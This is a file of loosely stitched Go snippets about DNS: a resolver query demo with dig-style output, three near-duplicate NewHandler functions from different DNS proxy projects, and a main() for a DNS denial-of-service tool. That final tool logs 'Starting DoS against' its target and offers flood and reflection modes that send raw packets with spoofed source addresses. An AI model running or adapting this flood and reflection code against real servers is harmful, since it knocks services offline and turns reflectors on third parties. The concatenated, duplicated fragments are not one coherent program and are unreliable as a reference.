/* Cname:src.iduwpui.qiniudns.com. 572 IN CNAME nb-gate-io-src.qiniu.com. A:nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.5 A:nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.23 A:nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.6 A:nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.7 A:nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.8 A:nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.21 ;; opcode: QUERY, status: NOERROR, id: 30362 ;; flags: qr ra; QUERY: 1, ANSWER: 7, AUTHORITY: 2, ADDITIONAL: 12 ;; QUESTION SECTION: ;src.iduwpui.qiniudns.com. IN A ;; ANSWER SECTION: src.iduwpui.qiniudns.com. 572 IN CNAME nb-gate-io-src.qiniu.com. nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.5 nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.23 nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.6 nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.7 nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.8 nb-gate-io-src.qiniu.com. 171 IN A 101.71.123.21 ;; AUTHORITY SECTION: qiniu.com. 30674 IN NS ns3.dnsv5.com. qiniu.com. 30674 IN NS ns4.dnsv5.com. ;; ADDITIONAL SECTION: ns3.dnsv5.com. 95697 IN A 121.51.2.171 ns3.dnsv5.com. 95697 IN A 125.39.213.190 ns3.dnsv5.com. 95697 IN A 180.153.10.169 ns3.dnsv5.com. 95697 IN A 182.140.167.191 ns3.dnsv5.com. 95697 IN A 183.60.57.192 ns3.dnsv5.com. 95697 IN A 183.60.59.217 ns3.dnsv5.com. 95697 IN A 184.105.206.63 ns3.dnsv5.com. 95697 IN A 112.90.143.36 ns3.dnsv5.com. 95697 IN A 115.236.151.180 ns3.dnsv5.com. 95697 IN A 117.135.170.109 ns3.dnsv5.com. 95697 IN A 119.28.48.224 ns3.dnsv5.com. 95697 IN A 119.167.195.9 */ func main() { config := new(dns.ClientConfig) config.Servers = make([]string, 0) config.Search = make([]string, 0) config.Port = "53" config.Ndots = 1 config.Timeout = 5 config.Attempts = 2 // localdns := "127.0.0.1" localdns := "202.96.64.68" //localdns := "114.114.114.114" config.Servers = append(config.Servers, localdns) c := &dns.Client{ DialTimeout: time.Second, } // query := "www.a.shifen.com." query := "src.iduwpui.qiniudns.com" m := new(dns.Msg) m.SetQuestion(dns.Fqdn(query), dns.TypeA) m.RecursionDesired = false r, _, err := c.Exchange(m, net.JoinHostPort(config.Servers[0], config.Port)) if r == nil { log.Fatalf("*** error: %s\n", err.Error()) } if r.Rcode != dns.RcodeSuccess { log.Fatalf(" *** invalid answer name %s after MX query for %s\n", query, query) } // Stuff must be in the answer section for _, a := range r.Answer { if a.Header().Rrtype == dns.TypeA { fmt.Printf("A:%v\n", a) } else { fmt.Printf("Cname:%v\n", a) } } fmt.Println(r.String()) }
func NewHandler() *GODNSHandler { var ( clientConfig *dns.ClientConfig cacheConfig CacheSettings resolver *Resolver cache, negCache Cache ) resolvConfig := settings.ResolvConfig clientConfig, err := dns.ClientConfigFromFile(resolvConfig.ResolvFile) if err != nil { logger.Warn(":%s is not a valid resolv.conf file\n", resolvConfig.ResolvFile) logger.Error(err.Error()) panic(err) } clientConfig.Timeout = resolvConfig.Timeout resolver = &Resolver{clientConfig} cacheConfig = settings.Cache switch cacheConfig.Backend { case "memory": cache = &MemoryCache{ Backend: make(map[string]Mesg, cacheConfig.Maxcount), Expire: time.Duration(cacheConfig.Expire) * time.Second, Maxcount: cacheConfig.Maxcount, } negCache = &MemoryCache{ Backend: make(map[string]Mesg), Expire: time.Duration(cacheConfig.Expire) * time.Second / 2, Maxcount: cacheConfig.Maxcount, } case "redis": // cache = &MemoryCache{ // Backend: make(map[string]*dns.Msg), // Expire: time.Duration(cacheConfig.Expire) * time.Second, // Serializer: new(JsonSerializer), // Maxcount: cacheConfig.Maxcount, // } panic("Redis cache backend not implement yet") default: logger.Error("Invalid cache backend %s", cacheConfig.Backend) panic("Invalid cache backend") } var hosts Hosts if settings.Hosts.Enable { hosts = NewHosts(settings.Hosts, settings.Redis) } return &GODNSHandler{resolver, cache, negCache, hosts} }
func NewHandler() *DNSProxyHandler { var ( clientConfig *dns.ClientConfig cacheConfig CacheSettings resolver *Resolver cache Cache ) resolvConfig := settings.ResolvConfig clientConfig, err := dns.ClientConfigFromFile(resolvConfig.ResolvFile) if err != nil { logger.Printf(":%s is not a valid resolv.conf file\n", resolvConfig.ResolvFile) logger.Println(err) panic(err) } clientConfig.Timeout = resolvConfig.Timeout resolver = &Resolver{clientConfig} cacheConfig = settings.Cache switch cacheConfig.Backend { case "memory": cache = &MemoryCache{ Backend: make(map[string]Mesg), Expire: time.Duration(cacheConfig.Expire) * time.Second, Maxcount: cacheConfig.Maxcount, mu: new(sync.RWMutex), } default: logger.Printf("Invalid cache backend %s", cacheConfig.Backend) panic("Invalid cache backend") } hosts := NewHosts(settings.Hosts) return &DNSProxyHandler{resolver, cache, hosts, new(sync.Mutex)} }
func NewHandler(statsd *statsd.StatsdBuffer) *GODNSHandler { var ( clientConfig *dns.ClientConfig cacheConfig CacheSettings resolver *Resolver cache, negCache Cache ) resolvConfig := settings.ResolvConfig clientConfig, err := dns.ClientConfigFromFile(resolvConfig.ResolvFile) if err != nil { logger.Printf(":%s is not a valid resolv.conf file\n", resolvConfig.ResolvFile) logger.Println(err) panic(err) } clientConfig.Timeout = resolvConfig.Timeout resolver = &Resolver{clientConfig} cacheConfig = settings.Cache cache = &MemoryCache{ Backend: make(map[string]Mesg, cacheConfig.Maxcount), Expire: time.Duration(cacheConfig.Expire) * time.Second, Maxcount: cacheConfig.Maxcount, } negCache = &MemoryCache{ Backend: make(map[string]Mesg), Expire: time.Duration(cacheConfig.Expire) * time.Second / 2, Maxcount: cacheConfig.Maxcount, } Debug("Expired: %d", cacheConfig.Expire) hosts := NewHosts(settings.Hosts, settings.Consul) return &GODNSHandler{resolver, cache, negCache, hosts, statsd} }
func main() { //Set the runtime to the max number of available CPUs runtime.GOMAXPROCS(runtime.NumCPU()) //inialize the comminications channels for managing goroutines cm := chanman.NewChanMan() //initalize a config cfg := NewConfig() //initailize the wait group used to manage the threads wg := new(sync.WaitGroup) //stats stats := new(dnsstat.Stats) stats.InfoCollection = make([]dnsstat.Info, 0) //initialize the counters for our statistcs var runCounter uint runCounter = 0 var queryCounter int queryCounter = 0 //parse the command line options flag.Parse() //check the provided options if *protoFlag == "dns" { cfg.SetProtocol("dns") } else { log.Fatalf("The specified protocol %s is not supported", protoFlag) } if destPort != nil && *destPort < 65536 && *destPort > 1 { cfg.SetDstPort(uint16(*destPort)) //cast to uint16 } else { log.Fatalf("The defiened destination port %d is outside of the accepted range\n", destPort) } if destIPs != nil { //process dest IPs to string array cfg.SetDstIPsByString(*destIPs) } else { log.Fatalf("Error in parsing the specified destination IPs %s\n", destIPs) } if srcIPs != nil { //process dest IPs to string array log.Println("SET SRC", *srcIPs) cfg.SetSrcIPsByString(*srcIPs) } else { log.Fatalf("Error in parsing the specified souce IPs %s\n", destIPs) } if *rateFlag > 0 { cfg.SetRate(uint(*rateFlag)) } else { log.Fatalf("The specified rate %d is not within an acceptable range\n", rateFlag) } if *durationFlag > 0 { cfg.SetDuration(uint(*durationFlag)) } else { log.Fatalf("The specified duration %d is not within an acceptable range\n", durationFlag) } if interfaceFlag != nil { //take interface string and specify the correct index cfg.SetInterfaceByName(*interfaceFlag) } else { log.Fatalf("The egress interface was not specified\n") } if queryRecord != nil { cfg.SetQuery(*queryRecord) } else { log.Fatalf("Error setting the record to query for %s\n", queryRecord) } //configure startup for test log.Printf("Starting DoS against %s on Port %d via protocol %s at rate %d/s\n", *destIPs, *destPort, *protoFlag, *rateFlag) ticker := time.NewTicker(time.Second * 1) //Intialize goroutine to collect stats go func() { for { select { case val := <-cm.RunChan: if val == true { queryCounter = queryCounter + 1 } else if val == false { return } case val := <-cm.StatsChan: //aggregate stats if *verboseFlag == true { log.Printf("Query Time %s", val.Rtt) } stats.InfoCollection = append(stats.InfoCollection, *val) } } }() //types stateful, flood, reflection if *floodFlag != true && *reflectionFlag != true { //start a stateful request flow // A stateful request is initiated by the client running the tool config := new(dns.ClientConfig) config.Servers = strings.Split(*destIPs, ":") config.Port = string(*destPort) config.Ndots = 1 config.Timeout = 1 config.Attempts = 1 for _ = range ticker.C { runCounter = runCounter + 1 var i uint for i = 0; i < cfg.Rate; i++ { wg.Add(1) go dnsproto.DnsQuery(cfg.Query, wg, config, cm) } if runCounter == *durationFlag { wg.Wait() min, max, avg, jitter := stats.Calc() fmt.Printf("rtt min/avg/max/mdev = %s/%s/%s/%s\n", min, max, avg, jitter) fmt.Printf("Completed %d queries over %d runs to %s\n", queryCounter, runCounter, *destIPs) break } } } else if *floodFlag && *reflectionFlag != true { for _ = range ticker.C { runCounter = runCounter + 1 var i uint for i = 0; i < cfg.Rate; i++ { wg.Add(1) rawQuery := NewRawDNS() rawQuery.SetLocalAddress(cfg.SrcIPs[0]) rawQuery.SetRemoteAddress(cfg.DstIPs[0]) rawQuery.SetDestPort(cfg.DstPort) go rawQuery.DnsQuery(wg, cfg, cm) } if runCounter == *durationFlag { wg.Wait() log.Printf("Completed %d queries over %d runs to %s", queryCounter, runCounter, *destIPs) break } } } else if *reflectionFlag && *floodFlag != true { //reflect off of destination hosts from source IPs for _ = range ticker.C { runCounter = runCounter + 1 var i uint for i = 0; i < cfg.Rate; i++ { wg.Add(1) rawQuery := NewRawDNS() rawQuery.SetLocalAddress(cfg.DstIPs[0]) rawQuery.SetRemoteAddress(cfg.SrcIPs[0]) rawQuery.SetDestPort(cfg.DstPort) go rawQuery.DnsQuery(wg, cfg, cm) } if runCounter == *durationFlag { wg.Wait() log.Printf("Completed %d queries over %d runs to %s", queryCounter, runCounter, *destIPs) break } } } else if *reflectionFlag && *floodFlag { //not a valid state log.Fatalln("The selection of reflection and flood flags is invalid. Please choose a supported combination.") } else { //no state decided log.Fatalln("Please choose a supported combinatio of operational flags.") } }